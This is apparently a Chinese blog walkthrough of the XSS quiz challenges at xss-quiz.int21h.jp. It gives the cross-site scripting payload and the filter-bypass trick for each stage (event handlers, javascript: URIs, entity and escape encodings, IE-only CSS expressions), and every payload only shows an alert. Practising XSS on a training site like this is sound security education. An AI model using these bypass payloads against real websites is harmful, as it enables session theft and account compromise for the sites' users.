前言

一个日本的XSS平台,可以在无聊的时候做一做。
平台地址:http://xss-quiz.int21h.jp/
弹窗为:alert(document.domain);

挖掘:找到用户可控并且能够输出在页面代码中的地方

开冲

Stage #1

第一题没有任何过滤,直接输即可,payload:<script>alert(document.domain);</script>

Stage #2

第二题输入点在标签内,闭合标签就行了,payload:"><script>alert(document.domain);</script>

Stage #3

第三题POST第一个参数p1进行了实体编码,第二个参数p2没有,所以我们可以抓包在p2处进行弹窗,或者直接修改表单信息:
payload:<script>alert(document.domain);</script>

成功弹窗:

Stage #4

第四题有一个隐藏参数p3,前两个参数进行了过滤,直接在p3闭合标签进行弹窗,抓包插入
paylaod:"><script>alert(document.domain);</script>

成功弹窗:

Stage #5

这一关和Stage #2基本一样,知识限制了text框长度,可以抓包直接发payload,或者前台修改下框长度。

Stage #6

过滤了<>,但是没过滤",所以我们可构造on事件来绕过
payload:" onmouseover="alert(document.domain)"

Stage #7

这题除了过滤<>外还过滤了",但是它传入的value的值没有用""包含起来,所以可以用空格分隔属性来进行绕过
payload:1 onmouseover=alert(document.domain)

Stage #8

这题插入的数据是放到url中的,此处可以构造javascript伪协议绕过
payload:javascript:alert(document.domain)

Stage #9

这一关用到的是UTF-7然而这玩意儿只在IE6/IE7起作用,这里直接firbug弹窗跳过。。
参考payload:p1=1%2bACI- οnmοuseοver=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=UTF-7
附上一个UTF-7编码网站:https://web2hack.org/xssee/

Stage #10

这一关过滤了domain为空,直接双写绕过就行了
payload:"><script>alert(document.domdomainain)</script>

Stage #11

这一关过滤了比较多的东西:
1.script会被替换为xscript
2.on事件会被替换为onxxx
3.style会被替换为stxxx
但是没过滤<、>、"
我们可以在<a>标签的href属性下插入实体编码后的javascript来进行绕过,这里如果编码了document.domain会失效
HTML实体编码网址:https://www.qqxiuzi.cn/bianma/zifushiti.php
payload 1:"><a href="&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;document.domain&#x29;">1</a>

除此之外还可以单独编码javascript中的一个字母,或者插入一个实体编码的tab制表符或换行符(&#09;&#10;&#x0a;&#x0d;)进行绕过(空格不行)
payload 2:"><a href="javasc&#09;ript:alert(document.domain)">1</a>

Stage #12

Hint: "s/[x00-x20<>"']//g;"
这里过滤比较严格,试了各种方法都不能成功让payload跳出value,最后发现可以利用IE浏览器的识别特性,在IE浏览器下其会把`反引号解析为引号,利用这点我们就可以实现弹窗。
payload:``onmouseover=alert(document.domain)

Stage #13

照常对"、<、>进行了实体编码,查看源码发现插入数据位置在style属性值处,那么payload也是stype特有的。
payload1:background-color:salmon;background-image:url(javascript:alert(document.domain))
payload2:background-color:salmon;Xss:expression(alert(document.domain));

这种CSS行内样式的动态特性算是IE特有,所以以上payload只在IE7/IE6下才可执行(payload2会一直弹窗,谨慎使用)

Stage #14

Hint: s/(url|script|eval|expression)/xxx/ig;
除了过滤了"、<、>外,还过滤了上面几个单词,其他的和Stage #13几乎一样,绕过方法:分割expression。
payload1:background-color:salmon;Xss:expr/**/ession(alert(document.domain));
payload2:background-color:salmon;Xss:expr\0ession(alert(document.domain));

Stage #15

这里除了照常转义那几个字符外还对\进行了过滤,但是当我们输两个\\时它只对一个进行了过滤。
且这儿使用的js中的documnet.wirte进行输出,在js中是能够识别十六进制编码并进行自解码的,所以我们可以对payload进行十六进制编码来进行绕过。
payload:\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

Stage #16

Hint: "document.write();" and "s/\x/\\x/ig;"
这一关在Stage #15的基础上增加了对十六进制的过滤,但是js的编码不单包含这一个,除十六进制外还有八进制编码、unicode编码
payload1 unicode编码:\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
payload2 八进制编码:\\074script\\076alert(document.domain)\\074/script\\076

Stage #17

Hint: multi-byte character
Hint2说这题目需要在老版本IE上复现,emm...

Last modification:March 27th, 2020 at 01:44 pm
如果觉得我的文章对你有用,请随意赞赏